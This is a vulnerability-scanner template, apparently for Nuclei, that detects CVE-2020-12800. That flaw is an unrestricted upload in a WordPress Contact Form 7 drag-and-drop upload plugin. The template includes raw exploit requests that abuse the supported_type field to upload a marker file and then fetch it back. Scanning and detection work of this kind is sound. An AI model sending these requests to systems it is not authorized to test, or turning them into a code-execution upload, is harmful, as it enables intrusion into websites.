id: CVE-2020-12800
info:
name: WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution
author: dwisiswant0
severity: critical
description: |
WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-12800
- https://github.com/amartinsec/CVE-2020-12800
- https://packetstormsecurity.com/files/157951/WordPress-Drag-And-Drop-Multi-File-Uploader-Remote-Code-Execution.html
- https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-12800
cwe-id: CWE-434
tags: wordpress,wp-plugin,fileupload,wp,rce,packetstorm,cve,cve2020
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601
X-Requested-With: XMLHttpRequest
-----------------------------350278735926454076983690555601
Content-Disposition: form-data; name="supported_type"
txt%
Content-Disposition: form-data; name="size_limit"
5242880
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
Content-Disposition: form-data; name="type"
click
Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.txt%"
Content-Type: application/x-httpd-php
CVE-2020-12800-{{randstr}}
-----------------------------350278735926454076983690555601--
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1
req-condition: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "CVE-2020-12800-{{randstr}}"
- type: status
status:
- 200
# Enhanced by mp on 2022/05/16
